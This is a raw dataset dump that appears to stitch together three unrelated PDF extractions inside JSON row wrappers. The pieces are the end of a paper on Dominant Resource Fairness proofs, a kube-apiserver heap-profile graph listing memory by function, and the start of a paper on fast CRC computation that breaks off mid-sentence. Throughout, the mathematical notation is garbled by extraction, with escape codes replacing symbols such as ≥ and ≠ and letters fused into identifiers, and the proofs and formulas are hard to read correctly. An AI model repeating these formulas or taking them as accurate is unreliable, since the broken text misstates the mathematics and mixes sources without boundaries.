largest\\nshare on resource k, and letti;kdenote her share of k.\\nSince resource kis saturated, we have trivially ti;k\\u00151\\nn.\\n13Furthermore, by the definition of the dominant share, we\\nhavesi\\u0015ti;k\\u00151\\nn. Since progressive filling increases\\nthe allocation of each user’s dominant resource at the\\nsame rate, it follows that each user gets at least1\\nnof her\\ndominant resource. Thus, DRF satisfies the sharing in-\\ncentive property. If all users have the same dominant\\nresource, each user gets exactly1\\nnof that resource. As a\\nresult, DRF satisfies the bottleneck fairness property as\\nwell. \\u0003\\nTheorem 11 Every DRF allocation is envy-free.\\nProof Assume by contradiction that user ienvies an-\\nother userj. For userito envy another user j, userj\\nmust have a strictly higher share of every resource that i\\nwants; otherwise icannot run more tasks under j’s allo-\\ncation. This means that user j’s dominant share is strictly\\nlarger than user i’s dominant share. Since every resource\\nallocated to user iis also allocated to user j, this means\\nthat userjcannot reach its saturated resource after useri,\\ni.e.,tj\\u0014ti, wheretkis the time that user k’s allocation\\ngets frozen due to saturation. However, if tj\\u0014ti, under\\nprogressive filling, the dominant shares of users jandi\\nwill be equal at time tj, after which the dominant share\\nof userican only increase, violating the hypothesis. \\u0003\\nTheorem 12 (Strategy-proofness) A user cannot in-\\ncrease her dominant share in DRF by altering her true\\ndemand vector.\\nProof Assume user ican increase her dominant share by\\nusing a demand vector ^di6=di. Letai;jand^ai;jdenote\\nthe amount of resource juseriis allocated using pro-\\ngressive filling when the user uses the vector diand^di,\\nrespectively. For user ito be better off using ^di, we need\\nthat^ai;k> ai;kfor every resource kwheredi;k>0.\\nLetrdenote the first resource that becomes saturated for\\nuseriwhen she uses the demand vector di. If no other\\nuser is allocated resource r(aj;r= 0 for allj6=i),\\nthis contradicts the hypothesis as user iis already allo-\\ncated the entire resource r, and thus cannot increase her\\nallocation of rusing another demand vector ^di. Thus,\\nassume there are other users that have been allocated r\\n(aj;r>0for somej6=i). In this case, progressive fill-\\ning will eventually saturate rat timetwhen usingdi, and\\nat timet0when using demand ^di. Recall that the domi-\\nnant share is the maximum of a user’s shares, thus imust\\nhave a higher dominant share in the allocation ^athan in\\na. Thus,t0>t, as progressive filling increases the dom-\\ninant share at a constant rate. This implies that i—when\\nusing ^d—does not saturate any resource before time t0,\\nand hence does not affect other user’s allocation before\\ntimet0. Thus, when iuses ^d, any usermusing resource\\nrhas allocation am;rat timet. Therefore, at time t, there\\nis onlyai;ramount ofrleft for user i, which contradicts\\nthe assumption that ^ai;r>ai;r. \\u0003The strategy-proofness of DRF shows that a user will\\nnot be better off by demanding resources that she does\\nnot need. The following example shows that excess de-\\nmand can in fact hurt user’s allocation, leading to a lower\\ndominant share. Consider a cluster with two resources,\\nand10users, the first with demand vector h1;0iand the\\nrest with demand vectors h0;1i. The first user gets the\\nentire first resource, while the rest of the users each get\\n1\\n9of the second resource. If user 1instead changes her\\ndemand vector toh1;1i, she can only be allocated1\\n10of\\neach resource and the rest of the users get1\\n10of the sec-\\nond resource.\\nIn practice, the situation can be exacerbated as re-\\nsources in datacenters are typically partitioned across\\ndifferent physical machines, leading to fragmentation.\\nIncreasing one’s demand artificially might lead to a situ-\\nation in which, while there are enough resources on the\\nwhole, there are not enough on any single machine to\\nsatisfy the new demand. See Section 6.2 for more infor-\\nmation.\\nNext, for simplicity we assume strictly positive de-\\nmand vectors ,i.e.,the demand of every user for every\\nresource is non-zero.\\nTheorem 13 Given strictly positive demand vectors,\\nDRF guarantees that every user gets the same dominant\\nshare, i.e.,every DRF allocation ensures si=sj, for all\\nusersiandj.\\nProof Progressive filling will start increasing every\\nusers’ dominant resource allocation at the same rate until\\none of the resources becomes saturated. At this point, no\\nmore resources can be allocated to any user as every user\\ndemands a positive amount of the saturated resource. \\u0003\\nTheorem 14 Given strictly positive demands, DRF sat-\\nisfies population monotonicity.\\nProof Consider any DRF allocation. Non-zero demands\\nimply that all users have the same saturated resource(s).\\nConsider removing a user and relinquishing her currently\\nallocated resources, which is some amount of every re-\\nsource. Since all users have the same dominant share \\u000b,\\nany new allocation which decreases any user i’s domi-\\nnant share below \\u000bwould, due to Pareto efficiency, have\\nto allocate another user ja dominant share of more than\\n\\u000b. The resulting allocation would violate max-min fair-\\nness, as it would be possible to increase i’s dominant\\nshare by decreasing the allocation of j, who already has\\na higher dominant share than i. \\u0003\\nHowever, we note that in the absence of strictly posi-\\ntive demand vectors, DRF no longer satisfies the popula-\\ntion monotonicity property [14].\\n14\"\n }\n]"}}},{"rowIdx":39449,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"kube-apiserver-heap-profile.pdf\",\n \"project_name\": \"Crossplane\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"File: kube-apiserver\nType: inuse_space\nTime: Feb 24, 2022 at 2:49am (+03)\nShowing nodes accounting for 876.08MB, 73.76% of 1187.82MB total\nDropped 685 nodes (cum <= 5.94MB)\nDropped 10 edges (freq <= 1.19MB)\nShowing top 53 nodes out of 268\nSee https://git.io/JfYMW for how to read the graph\nzapcore\nnewCounters\n369.12MB (31.08%)\n448kB 369.12MBmux\n(*pathHandler)\nServeHTTP\n0 of 585.73MB (49.31%)http\nHandlerFunc\nServeHTTP\n0 of 243.94MB (20.54%)\n 67.58MBapiserver\n(*crdHandler)\nServeHTTP\n0 of 512.95MB (43.18%)\n 511.95MBapiserver\n(*crdHandler)\ngetOrCreateServingInfoFor\n5MB (0.42%)\nof 505.89MB (42.59%)\n512B..576B 1.50MB\nregistry\n(*Store)\nCompleteWithOptions\n1MB (0.084%)\nof 386.99MB (32.58%) 356.21MB\nvalidation\nConvertJSONSchemaPropsWithPostProcess\n0.50MB (0.042%)\nof 46.52MB (3.92%) 34.52MB\nschemaconv\n(*convert)\nVisitKind\n19.52MB (1.64%)\nof 26.52MB (2.23%) 18.01MB\nschema\n(*Structural)\nDeepCopyInto\n23.50MB (1.98%)\nof 24.50MB (2.06%) 22MB\nruntime\n(*SchemeBuilder)\nAddToScheme\n0 of 49.07MB (4.13%) 48.06MBserver\ndirector\nServeHTTP\n0 of 584.68MB (49.22%) 237.90MB\nflowcontrol\n(*configController)\nHandle\nfunc2\n0 of 98.57MB (8.30%) 22.01MB\nhandler\n(*cache)\nGet\n0 of 67.58MB (5.69%) 67.58MB\n 584.68MBwait\nBackoffUntil\nfunc1\n0 of 157.40MB (13.25%)\nv1\n(*JSONSchemaProps)\nUnmarshal\n33.01MB (2.78%)\nof 38.02MB (3.20%) 2MB\njson\nUnmarshalCaseSensitivePreserveInts\n0 of 39.40MB (3.32%) 10.87MB\n (inline)openapi\n(*Controller)\nsync\n0.51MB (0.043%)\nof 126.12MB (10.62%) 124.62MB\njson\n(*decodeState)\nvalue\n0 of 105.46MB (8.88%)\njson\n(*decodeState)\nobject\n0 of 105.46MB (8.88%) 105.46MB\njson\n(*decodeState)\narray\n0 of 35.55MB (2.99%) 35.55MBv1beta1\nautoConvert_v1beta1_JSONSchemaProps_To_apiextensions_JSONSchemaProps\n69.03MB (5.81%)\nof 80.03MB (6.74%)\n512B 56.53MB\n208B 7MBv1beta1\nConvert_v1beta1_JSONSchemaProps_To_apiextensions_JSONSchemaProps\n0 of 80.03MB (6.74%)\n 73.53MB\n (inline)\nv1beta1\nautoConvert_v1beta1_JSONSchemaPropsOrArray_To_apiextensions_JSONSchemaPropsOrArray\n10MB (0.84%)\nof 40.52MB (3.41%) 40.52MB\n 105.46MBjson\nUnmarshal\n0 of 105.46MB (8.88%)\n 103.58MB\nreflect\nmapassign\n19.52MB (1.64%) 19.52MB\nspec\n(*ResponsesProps)\nUnmarshalJSON\n12.01MB (1.01%)\nof 24.51MB (2.06%) 24.51MBregistry\nStorageWithCacher\nfunc1\n0 of 385.99MB (32.50%) 385.99MBjson\nMarshal\n28.77MB (2.42%)\nof 64.33MB (5.42%)\n22.55MB 22.55MB\njson\n(*encodeState)\nreflectValue\n0 of 36.67MB (3.09%) 35.56MB\n 105.46MB 80.03MB\nvalidation\nconvertMapOfJSONSchemaProps\n34.52MB (2.91%)\nof 46.52MB (3.92%) 46.52MB\nvalidation\nconvertJSONSchemaPropsOrArray\n11.51MB (0.97%)\nof 26.01MB (2.19%) 26.01MBtransport\nnewBufWriter\n57.98MB (4.88%)\n64kB 57.98MB\nbuilder\nBuildOpenAPIV2\n0 of 117.60MB (9.90%)\nschema\n(*Structural)\nToKubeOpenAPI\n25.51MB (2.15%)\nof 26.51MB (2.23%) 26.51MB\nbuilder\nBuildOpenAPISpec\n0 of 91.10MB (7.67%) 85.09MB\nbytes\nmakeSlice\n40.28MB (3.39%)\n35MB 35MBruntime\nDecode\n0 of 102.54MB (8.63%)\n 26.51MB\nversioning\n(*codec)\nDecode\n0 of 73.53MB (6.19%) 73.53MB\n512B 30.51MBgrpc\n(*addrConn)\nresetTransport\n0 of 83.66MB (7.04%)\ntransport\nnewFramer\n0 of 82.16MB (6.92%) 82.16MB\n 40.52MB\n576B 27.52MBjson\n(*decodeState)\nvalue\n0 of 58.93MB (4.96%) 39.40MB\njson\n(*decodeState)\nobject\n0 of 59.93MB (5.05%) 58.43MB\nbuilder\n(*openAPI)\nbuildOperations\n25.06MB (2.11%)\nof 47.57MB (4.00%)\n5.25kB 8.04MB\n896B 7.51MB\nbuilder\n(*openAPI)\ntoSchema\n10.01MB (0.84%)\nof 20.01MB (1.68%) 20.01MBetcd3\n(*watchChan)\nprocessEvent\n0 of 71.53MB (6.02%)\n 71.53MB\n (inline)\nconversion\nConversionFuncs\nAddUntyped\n31.99MB (2.69%)\n24kB 14.84MB\n12kB 9.61MB\n6kB 6.04MB 57.98MB\n (inline)\nbufio\nNewReaderSize\n22.18MB (1.87%) 22.18MB\n (inline)\n512B 8MB\n128B 7MB\nreflect\nunsafe_NewArray\n25.54MB (2.15%)\n1.38kB 10.51MB\n3kB 7.02MB 42.93MB 3MB\n (inline)\n 16MBapp\nRun\n0 of 59.83MB (5.04%)\n 3.52MB\n (inline)\ncontrolplane\ncompletedConfig\nNew\n0 of 47.30MB (3.98%) 47.30MB\n 6.01MBhttp\n(*timeoutHandler)\nServeHTTP\nfunc1\n0 of 60.60MB (5.10%)\n 60.60MB 505.39MB 7.06MB\n576B 20.51MB 57.53MB\n (inline) 12.50MB\n (inline)\n256B 11MB\n176B 8MBruntime\nmain\n0 of 41.33MB (3.48%)\n 37.82MB\n 29.28MB 8MB32kB 22.18MB\n 37.52MB\n (inline)\n512B 10MB\n576B 16.51MB 12.50MB\n896B 11.51MBjson\nmarshalerEncoder\n0 of 35.56MB (2.99%) 35.56MB\n 35.56MB 24.51MB\n576B 11.51MB\n 14.01MB\n 21.04MB 47.57MB\n576B 13.51MB 35.56MB 30.99MB 117.60MB\n 366.87MB\n (inline) 98.57MB\n 63.77MB"}],"string":"[\n {\n \"data\": \"File: kube-apiserver\\nType: inuse_space\\nTime: Feb 24, 2022 at 2:49am (+03)\\nShowing nodes accounting for 876.08MB, 73.76% of 1187.82MB total\\nDropped 685 nodes (cum <= 5.94MB)\\nDropped 10 edges (freq <= 1.19MB)\\nShowing top 53 nodes out of 268\\nSee https://git.io/JfYMW for how to read the graph\\nzapcore\\nnewCounters\\n369.12MB (31.08%)\\n448kB 369.12MBmux\\n(*pathHandler)\\nServeHTTP\\n0 of 585.73MB (49.31%)http\\nHandlerFunc\\nServeHTTP\\n0 of 243.94MB (20.54%)\\n 67.58MBapiserver\\n(*crdHandler)\\nServeHTTP\\n0 of 512.95MB (43.18%)\\n 511.95MBapiserver\\n(*crdHandler)\\ngetOrCreateServingInfoFor\\n5MB (0.42%)\\nof 505.89MB (42.59%)\\n512B..576B 1.50MB\\nregistry\\n(*Store)\\nCompleteWithOptions\\n1MB (0.084%)\\nof 386.99MB (32.58%) 356.21MB\\nvalidation\\nConvertJSONSchemaPropsWithPostProcess\\n0.50MB (0.042%)\\nof 46.52MB (3.92%) 34.52MB\\nschemaconv\\n(*convert)\\nVisitKind\\n19.52MB (1.64%)\\nof 26.52MB (2.23%) 18.01MB\\nschema\\n(*Structural)\\nDeepCopyInto\\n23.50MB (1.98%)\\nof 24.50MB (2.06%) 22MB\\nruntime\\n(*SchemeBuilder)\\nAddToScheme\\n0 of 49.07MB (4.13%) 48.06MBserver\\ndirector\\nServeHTTP\\n0 of 584.68MB (49.22%) 237.90MB\\nflowcontrol\\n(*configController)\\nHandle\\nfunc2\\n0 of 98.57MB (8.30%) 22.01MB\\nhandler\\n(*cache)\\nGet\\n0 of 67.58MB (5.69%) 67.58MB\\n 584.68MBwait\\nBackoffUntil\\nfunc1\\n0 of 157.40MB (13.25%)\\nv1\\n(*JSONSchemaProps)\\nUnmarshal\\n33.01MB (2.78%)\\nof 38.02MB (3.20%) 2MB\\njson\\nUnmarshalCaseSensitivePreserveInts\\n0 of 39.40MB (3.32%) 10.87MB\\n (inline)openapi\\n(*Controller)\\nsync\\n0.51MB (0.043%)\\nof 126.12MB (10.62%) 124.62MB\\njson\\n(*decodeState)\\nvalue\\n0 of 105.46MB (8.88%)\\njson\\n(*decodeState)\\nobject\\n0 of 105.46MB (8.88%) 105.46MB\\njson\\n(*decodeState)\\narray\\n0 of 35.55MB (2.99%) 35.55MBv1beta1\\nautoConvert_v1beta1_JSONSchemaProps_To_apiextensions_JSONSchemaProps\\n69.03MB (5.81%)\\nof 80.03MB (6.74%)\\n512B 56.53MB\\n208B 7MBv1beta1\\nConvert_v1beta1_JSONSchemaProps_To_apiextensions_JSONSchemaProps\\n0 of 80.03MB (6.74%)\\n 73.53MB\\n (inline)\\nv1beta1\\nautoConvert_v1beta1_JSONSchemaPropsOrArray_To_apiextensions_JSONSchemaPropsOrArray\\n10MB (0.84%)\\nof 40.52MB (3.41%) 40.52MB\\n 105.46MBjson\\nUnmarshal\\n0 of 105.46MB (8.88%)\\n 103.58MB\\nreflect\\nmapassign\\n19.52MB (1.64%) 19.52MB\\nspec\\n(*ResponsesProps)\\nUnmarshalJSON\\n12.01MB (1.01%)\\nof 24.51MB (2.06%) 24.51MBregistry\\nStorageWithCacher\\nfunc1\\n0 of 385.99MB (32.50%) 385.99MBjson\\nMarshal\\n28.77MB (2.42%)\\nof 64.33MB (5.42%)\\n22.55MB 22.55MB\\njson\\n(*encodeState)\\nreflectValue\\n0 of 36.67MB (3.09%) 35.56MB\\n 105.46MB 80.03MB\\nvalidation\\nconvertMapOfJSONSchemaProps\\n34.52MB (2.91%)\\nof 46.52MB (3.92%) 46.52MB\\nvalidation\\nconvertJSONSchemaPropsOrArray\\n11.51MB (0.97%)\\nof 26.01MB (2.19%) 26.01MBtransport\\nnewBufWriter\\n57.98MB (4.88%)\\n64kB 57.98MB\\nbuilder\\nBuildOpenAPIV2\\n0 of 117.60MB (9.90%)\\nschema\\n(*Structural)\\nToKubeOpenAPI\\n25.51MB (2.15%)\\nof 26.51MB (2.23%) 26.51MB\\nbuilder\\nBuildOpenAPISpec\\n0 of 91.10MB (7.67%) 85.09MB\\nbytes\\nmakeSlice\\n40.28MB (3.39%)\\n35MB 35MBruntime\\nDecode\\n0 of 102.54MB (8.63%)\\n 26.51MB\\nversioning\\n(*codec)\\nDecode\\n0 of 73.53MB (6.19%) 73.53MB\\n512B 30.51MBgrpc\\n(*addrConn)\\nresetTransport\\n0 of 83.66MB (7.04%)\\ntransport\\nnewFramer\\n0 of 82.16MB (6.92%) 82.16MB\\n 40.52MB\\n576B 27.52MBjson\\n(*decodeState)\\nvalue\\n0 of 58.93MB (4.96%) 39.40MB\\njson\\n(*decodeState)\\nobject\\n0 of 59.93MB (5.05%) 58.43MB\\nbuilder\\n(*openAPI)\\nbuildOperations\\n25.06MB (2.11%)\\nof 47.57MB (4.00%)\\n5.25kB 8.04MB\\n896B 7.51MB\\nbuilder\\n(*openAPI)\\ntoSchema\\n10.01MB (0.84%)\\nof 20.01MB (1.68%) 20.01MBetcd3\\n(*watchChan)\\nprocessEvent\\n0 of 71.53MB (6.02%)\\n 71.53MB\\n (inline)\\nconversion\\nConversionFuncs\\nAddUntyped\\n31.99MB (2.69%)\\n24kB 14.84MB\\n12kB 9.61MB\\n6kB 6.04MB 57.98MB\\n (inline)\\nbufio\\nNewReaderSize\\n22.18MB (1.87%) 22.18MB\\n (inline)\\n512B 8MB\\n128B 7MB\\nreflect\\nunsafe_NewArray\\n25.54MB (2.15%)\\n1.38kB 10.51MB\\n3kB 7.02MB 42.93MB 3MB\\n (inline)\\n 16MBapp\\nRun\\n0 of 59.83MB (5.04%)\\n 3.52MB\\n (inline)\\ncontrolplane\\ncompletedConfig\\nNew\\n0 of 47.30MB (3.98%) 47.30MB\\n 6.01MBhttp\\n(*timeoutHandler)\\nServeHTTP\\nfunc1\\n0 of 60.60MB (5.10%)\\n 60.60MB 505.39MB 7.06MB\\n576B 20.51MB 57.53MB\\n (inline) 12.50MB\\n (inline)\\n256B 11MB\\n176B 8MBruntime\\nmain\\n0 of 41.33MB (3.48%)\\n 37.82MB\\n 29.28MB 8MB32kB 22.18MB\\n 37.52MB\\n (inline)\\n512B 10MB\\n576B 16.51MB 12.50MB\\n896B 11.51MBjson\\nmarshalerEncoder\\n0 of 35.56MB (2.99%) 35.56MB\\n 35.56MB 24.51MB\\n576B 11.51MB\\n 14.01MB\\n 21.04MB 47.57MB\\n576B 13.51MB 35.56MB 30.99MB 117.60MB\\n 366.87MB\\n (inline) 98.57MB\\n 63.77MB\"\n }\n]"}}},{"rowIdx":39450,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"crc-doc.1.0.pdf\",\n \"project_name\": \"Pipy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":"Everything we know about CRC but afraid to\nforget\nAndrew Kadatch1and Bob Jenkins2\n1Google Inc.\n2Microsoft Corporation\nSeptember 3, 2010\nAbstract\nThis paper describes a novel interleaved, parallelizeable word-by-word\nCRC computation algorithm which computes N-bit CRC ( N\u001464) on\nmodern Intel and AMD processors in 1.2 CPU cycles per byte, improv-\ning state of the art over word-by-word 32-bit and 64-bit CRCs (2.1 CPU\ncycles/byte) and classic byte-by-byte CRC computation (6-7 CPU cy-\ncles/byte). It computes 128-bit CRC in 1.7 CPU cycles/byte.\nCRC implementations are heavily optimized and hard to understand.\nThis paper describes CRC algorithms as they evolved over time, splitting\ncomplex optimizations into a sequence of natural improvements.\nThis paper also presents a collection of CRC \\tricks\" that we found\nhandy on many occassions.\nContents\n1 De\fnition of CRC 2\n2 Related work 3\n3 CRC tricks and tips 4\n3.1 Incremental CRC computation . . . . . . . . . . . . . . . . . . . 4\n3.2 Changing initial CRC value . . . . . . . . . . . . . . . . . . . . . 4\n3.3 Concatenation of CRCs . . . . . . . . . . . . . . . . . . . . . . . 5\n3.4 In-place modi\fcation of CRC-ed message . . . . . . . . . . . . . 5\n3.5 Storing CRC value after the message . . . . . . . . . . . . . . . . 6\n4 E\u000ecient software implementation 7\n4.1 Mapping bitstreams to hardware registers . . . . . . . . . . . . . 7\n4.2 Multiplication of D-normalized polynomials . . . . . . . . . . . . 7\n4.3 Multiplication of unnormalized polynomial . . . . . . . . . . . . . 7\n14.4 Computing powers of x. . . . . . . . . . . . . . . . . . . . . . . 8\n4.5 Simpli\fed CRC . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9\n4.6 Computing a CRC byte by byte . . . . . . . . . . . . . . . . . . . 9\n4.7 Rolling CRC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11\n4.8 Reading multiple bytes at a time . . . . . . . . . . . . . . . . . . 12\n4.9 Computing a CRC word by word . . . . . . . . . . . . . . . . . . 12\n4.10 Processing non-overlapping blocks in parallel . . . . . . . . . . . 13\n4.11 Interleaved word-by-word CRC . . . . . . . . . . . . . . . . . . . 16\n4.11.1 Parallelizing CRC computation . . . . . . . . . . . . . . . 16\n4.11.2 Combining individual CRCs . . . . . . . . . . . . . . . . . 18\n4.11.3 E\u000ecient computation of individual CRCs . . . . . . . . . 19\n5 Experimental results 22\n5.1 Testing methology . . . . . . . . . . . . . . . . . . . . . . . . . . 22\n5.2 Compiler comparison . . . . . . . . . . . . . . . . . . . . . . . . . 22\n5.3 Choice of interleave level . . . . . . . . . . . . . . . . . . . . . . . 23\n5.4 Performance of CRC algorithms . . . . . . . . . . . . . . . . . . . 23\n1 De\fnition of CRC\nCyclic Redundancy Check (CRC) is a well-known technique that allows the\nrecipient of a message transmitted over a noisy channel to detect whether the\nmessage has been corrupted.\nA message M=m0: : : m N\u00001comprised of N=jMjbits ( mk2f0;1g) may\nbe viewed either as a numeric value\nM=N\u00001X\nk=0mk2N\u00001\u0000k\nor as a polynomial of a single variable of degree ( N\u00001)\nM(x) =N\u00001X\nk=0mkxN\u00001\u0000k\nwhere mk2GF(2) =f0;1gand all arithmetic operations on coe\u000ecients are\nperformed modulo 2. For example,\nAddition: ( x3+x2+x+ 1) + ( x2+x+ 1) = x3+ 2x2+ 2x+ 2 = x3;\nSubtraction: ( x3+x+ 1)\u0000(x2+x) =x3\u0000x2+ 1 = x3+x2+ 1;\nMultiplication: ( x+ 1)( x+ 1) = x2+ 2x+ 1 = x2+ 1:\nFor a given polynomial P(x) of degree D= deg\u0000\nP(x)\u0001\n, CRC u\u0000\nM(x); v(x)\u0001\nis the reminder from division of\u0000\nM(x)\u0001xD\u0001\nbyP(x). In practice, a more\n2complex formula is used:\nCRC u\u0000\nM(x); v(x)\u0001\n=\u0010\u0000\nv(x)\u0000u(x)\u0001\n\u0001xjMj+M(x)\u0001xD+u(x)\u0011\nmodP(x);\n(1)\nwhere polynomial P(x) of degree Dand polynomial u(x) of degree less than D\nare \fxed.\nThe use of the non-zero value of u(x) guarantees that the CRC of a sequence\nof zeroes is di\u000berent from zero. That allows detection of insertion of zeroes in\nthe beginning of a message and replacement of both content of the message and\nits CRC value with zeroes. Typically,\nu(x) =D\u00001X\nk=0xk: (2)\nThe use of auxilary parameter v(x) allows incremental CRC computation as\nshown in section 3.1.\n2 Related work\nCyclic Redundancy Checks (CRCs) were proposed by Peterson and Brown\n[PB61] in 1961. An e\u000ecient table-driven software implementation which reads\nand processes data byte by byte was described by Hill [Hil79] in 1979, Perez\n[Per83] in 1983. The \\classic\" byte-by-byte CRC algorithm described in section\n4.6 was published by Sarwate [Sar88] in 1988.\nIn 1993, Black [Bla93] published a method that reads data by words (de-\nscribed in section 4.8); however, it still computes the CRC byte by byte in strong\nsequential order.\nIn 2001, Braun and Waldvogel [BW01] brie\ry outlined a specialized vari-\nant of a CRC that could read input data by words and process them byte by\nbyte { but, thanks to the use of multiple tables, di\u000berent bytes from the input\nword could be processed in parallel. In 2002, Ji and Killian [JK02] provided de-\ntailed description and analysis of a nearly identical scheme. Both solutions were\ntargeted for hardware implementation. In 2005, Kouvanis and Berry [KB05]\ndemonstrated clear performance bene\fts of this scheme even when it is im-\nplemented in software. A generalized version of this approach is described in\nsection 4.9.\nSurprisingly, until [GGO+10] we have not seen prior art describing or utiliz-\ning a method of computing a CRC by processing in parallel (in an interleaved\nmanner to utilize multiple ALUs) multiple input streams belonging to non-\noverlapping sections of input data, desribed in section 4.10.\nA novel method of CRC computation that processes in parallel multiple\nwords belonging to overlapping sections of input data is described in section\n4.11. A special case restricted to the use of 64-bit tables, 64-bit reads, and 32\n3or 64-bit generating polynomials was implemented by the authors in February-\nMarch 2007 and was used by a couple of Microsoft products. In 2009, the\nalgorithm was generalized and these limitations were removed.\nThe fact that the CRC of a message followed by its CRC is a constant value\nwhich does not depend on the message, described in section 3.5, is well known\nand has been widely used in the telecommunication industry for long time.\nA method of storing a carefully chosen sequence of bits after a message so\nthat the CRC of a message and the sequence of bits appended to the mes-\nsage produces prede\fned result, described in 3.5, was implemented in 1990 by\nZemtsov [Zem90].\nA method for recomputing a known CRC using a new initial CRC value,\ndescribed in section 3.2, and the method of computing a CRC of the concatena-\ntion of messages having known CRC values without touching the actual data,\ndescribed in section 3.3, were implemented by one of the authors in 2005 but\nwere not published.\n3 CRC tricks and tips\n3.1 Incremental CRC computation\nThe use of an arbitrary initial CRC value v(x) allows computation of a CRC\nincrementally. If a message M(x) =M1(x)\u0001xjM2j+M2(x) is a concatenation\nof messages M1andM2, its CRC may be computed piece by piece because\nCRC u\u0000\nM(x); v(x)\u0001\n= CRC u\u0010\nM2(x);CRC u\u0000\nM1(x); v(x)\u0001\u0011\n: (3)\nIndeed,\nCRC u(M; v) =\u0000\n(v\u0000u)xjMj+MxD+u\u0001\nmodP=\n=\u0000\n(v\u0000u)xjM1j+jM2j+ (M1xjM2j+M2)xD+u\u0001\nmodP=\n=\u0010\u0000\n(v\u0000u)xjM1j+M1xD\u0001\nxjM2j+M2xD+u\u0011\nmodP=\n=\u0000\nCRC u(M1; v)xjM2j+M2xD+u\u0001\nmodP=\n= CRC u\u0000\nM2;CRC u(M1; v)\u0001\n3.2 Changing initial CRC value\nIf CRC u\u0000\nM(x); v(x)\u0001\nfor some initial value v(x) is known, it is possible to\ncompute CRC u\u0000\nM(x); v0(x)\u0001\nfor di\u000berent initial value v0(x) without touching\nthe value of M(x):\nCRC u(M; v0) = CRC u(M; v) +\u0010\n(v0\u0000v)xjMj\u0011\nmodP: (4)\n4Proof:\nCRC u(M; v0) =\u0000\n(v0\u0000u)xjMj+MxD+u\u0001\nmodP=\n=\u0010\u0000\n(v0\u0000u) + (v\u0000v)\u0001\nxjMj+MxD+u\u0011\nmodP=\n=\u0010\u0000\n(v\u0000u) + (v0\u0000v)\u0001\nxjMj+MxD+u\u0011\nmodP=\n=\u0010\u0000\n(v\u0000u)xjMj+MxD+u\u0001\n+ (v0\u0000v)xjMj\u0011\nmodP=\n= CRC u(M; v) +\u0010\n(v0\u0000v)xjMjmodP\u0011\n:\n3.3 Concatenation of CRCs\nIf a message M(x) =M1(x)\u0001xjM2j+M2(x) is a concatenation of messages\nM1andM2, and CRCs of M1,M2(computed with some initial values v1(x),\nv2(x) respectively) are known, CRC u\u0000\nM(x); v(x)\u0001\nmay be computed without\ntouching contents of the message M:\n1. Using formula (4), the value of v0\n1= CRC u(M1; v) may be computed from\nthe known CRC u(M1; v1) without touching the contents of M1.\n2. Then, v0\n2= CRC u(M2; v0\n1) may be computed from known CRC u(M2; v2)\nwithout touching the contents of M2.\nAccording to (3), CRC u(M; v) =v0\n2.\n3.4 In-place modi\fcation of CRC-ed message\nSometimes it is necessary to replace a part of message M(x) in-place and re-\ncompute CRC of modi\fed message M(x) e\u000eciently.\nIf a message M=ABC is a concatenation of messages A,B, and C, and\nB0(x) is new message of the same length as B(x), CRC u(M0) of message M0=\nAB0Cmay be computed from known CRC u(M). Indeed,\nM(x) =A(x)\u0001xjBj+jCj+B(x)\u0001xjCj+C(x);\nM0(x) =A(x)\u0001xjBj+jCj+B0(x)\u0001xjCj+C(x) =\n=M(x) +\u0000\nB0(x)\u0000B(x)\u0001\n\u0001xjCj;\ntherefore\nCRC u\u0000\nM0(x); v(x)\u0001\n=\n= CRC u\u0010\nM(x) +\u0000\nB0(x)\u0000B(x)\u0001\n\u0001xjCj\u0011\n=\n=\u0010\u0000\nv(x)\u0000u(x)\u0001\nxjMj+M(x)xD+\u0000\nB0(x)\u0000B(x)\u0001\nxjCj+D+u(x)\u0011\nmodP(x)\n=\u0010\nCRC u\u0000\nM(x); v(x)\u0001\n+\u0000\nB0(x)\u0000B(x)\u0001\nxjCj+D\u0011\nmodP(x) =\n= CRC u\u0000\nM(x); v(x)\u0001\n+\u0010\u0000\nB0(x)\u0000B(x)\u0001\nxjCj+DmodP(x)\u0011\n:\n5It is easy to see that\nCRC u\u0000\nB0(x); v(x)\u0001\n\u0000CRC u\u0000\nB(x); v(x)\u0001\n=\n=\u0000\nB0(x)\u0000B(x)\u0001\nxDmodP(x);\nso\nCRC u\u0000\nM0(x); v(x)\u0001\n= CRC u\u0000\nM(x); v(x)\u0001\n+ \u0001\nwhere\n\u0001 =\u0010\nCRC u\u0000\nB0(x); v(x)\u0001\n\u0000CRC u\u0000\nB(x); v(x)\u0001\u0011\nxjCjmodP(x):\n3.5 Storing CRC value after the message\nOften Q(x) = CRC u\u0000\nM(x); v(x)\u0001\nis padded with zero bits until the nearest\nbyte or word boundary and is transmitted as a sequence of Wbits ( W\u0015D)\nright after the message M(x). This way, the transmitted message T(x) is the\nconcatenation of M(x) and Q(x) followed by ( W\u0000D) zeroes, and is equal to\nT(x) =M(x)\u0001xW+Q(x)\u0001xW\u0000D:\nAccording to (1), (3) and taking into account that Q(x) +Q(x) = 0 since\npolynomial coe\u000ecient are from GF(2), CRC u\u0000\nT(x); v(x)\u0001\nis a constant value\nwhich does not depend on the contents of the message and is equal to\nCRC u\u0000\nT(x); v(x)\u0001\n=\n= CRC u\u0010\nQ(x)\u0001xW\u0000D; CRC\u0000\nM(x); v(x)\u0001\u0011\n=\n= CRC u\u0000\nQ(x)\u0001xW\u0000D; Q(x)\u0001\n=\n=\u0010\u0000\nQ(x)\u0000u(x)\u0001\n\u0001xW+Q(x)\u0001xW\u0000D\u0001xD+u(x)\u0011\nmodP(x) =\n=\u0010\nu(x)\u0000\n1\u0000xW\u0001\u0011\nmodP(x):\nA more generic solution is to store a W-bit long value after the message\nsuch that the CRC of the transmitted message is equal to a prede\fned value\nR(x) (typically R(x) = 0). The D-bit value followed by ( W\u0000D) zero bits that\nshould be stored after M(x) is\n^q\u0000\nQ(x)\u0001\n=\u0010\u0000\nR(x)\u0000u(x)\u0001\nx\u0000W\u0000\u0000\nQ(x)\u0000u(x)\u0001\u0011\nmodP(x)\nwhere x\u0000Wis the multiplicative inverse of xWmodP(x) which exists if P(x)\nis not divisble by xand may be found by the extended Euclidean algorithm\n6[Has01]:\nCRC 